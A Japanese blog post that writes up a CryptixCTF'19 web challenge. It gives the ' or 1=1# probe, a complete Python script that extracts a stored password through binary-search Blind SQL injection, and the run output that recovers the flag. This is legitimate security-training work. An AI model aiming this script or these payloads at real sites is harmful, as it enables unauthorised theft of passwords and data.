こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

CryptixCTF'19 Writeup - Pure Magic

普通のBlind SQL Injectionの問題だが、いつも適当にリニアサーチで解いていたところをバイナリサーチで実装したので、メモとして残しておく。

Question

Like all fairy tails, you need a passphrase to pass through the cave and get the flag!

https://cryptixctf.com/web3

NOTE: The flag format is flag{XXXXX} as usual.

f:id:graneed:20191013204113p:plain

Solution

' or 1=1#を入力すると以下の表示。

You thought it would be that easy?! Hahaha. There is no flag.
But since you have passed the phrase check, here is the query
SELECT * FROM data where password='XXXXX' :)

Blind SQL Injectionでパスフレーズを特定する。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import string
import time

URL = 'https://cryptixctf.com/web3/login.php'
target = ""

def trace_request(req):
    print("[+] request start")
    print('{}\n{}\n\n{}'.format(
        req.method + ' ' + req.url,
        '\n'.join('{}: {}'.format(k, v) for k, v in req.headers.items()),
        req.body,
    ))
    print("[+] request end")

def trace_response(res):
    print("[+] response start")
    print('{}\n{}\n\n{}'.format(
        res.status_code,
        '\n'.join('{}: {}'.format(k, v) for k, v in res.headers.items()),
        res.content,
    ))
    print("[+] response end")

def challenge(offset, guess):
    req = requests.Request(
        'POST',
        URL,
        data={
            "pwd" : "' or ASCII(SUBSTRING((select password from data limit 0, 1),{},1)) < {} #".format(offset + 1, guess)
        }
    )
    prepared = req.prepare()
    #trace_request(prepared)
    session = requests.Session()
    #start = time.time() # TimeBased用
    res = session.send(prepared, allow_redirects = False)
    #elapsed_time = time.time() - start # TimeBased用
    #trace_response(res)

    if "There is no flag" in res.content.decode("utf-8"):
        return True # 取得したい文字の文字コードは予想文字の文字コードより小さい
    else:
        return False # 取得したい文字の文字コードは予想文字の文字コード以上

def binarySearch(offset):
    low = 0
    high = 256

    while low <= high:
        guess = (low + high) // 2
        is_target_lessthan_guess = challenge(offset, guess)
        if is_target_lessthan_guess:
            high = guess
        else:
            low = guess

        if high == 1:
            return -1
        elif high - low == 1:
            return low

while True:
    code = binarySearch(len(target))
    if code == -1:
        break
    target += chr(code)
    print("[+] target: " + target)

print("[+] target: " + target)

実行する。

root@kali:/mnt/CTF/Contest# python3 BlindSQLInjection_binary.py 
[+] target: B
[+] target: Bl
[+] target: Bl1
[+] target: Bl1n
[+] target: Bl1nD
[+] target: Bl1nD_
[+] target: Bl1nD_S
[+] target: Bl1nD_S0
[+] target: Bl1nD_S0r
[+] target: Bl1nD_S0rc
[+] target: Bl1nD_S0rc3
[+] target: Bl1nD_S0rc3r
[+] target: Bl1nD_S0rc3r3
[+] target: Bl1nD_S0rc3r3r
[+] target: Bl1nD_S0rc3r3ry
[+] target: Bl1nD_S0rc3r3ry

flag{Bl1nD_S0rc3r3ry}がフラグ。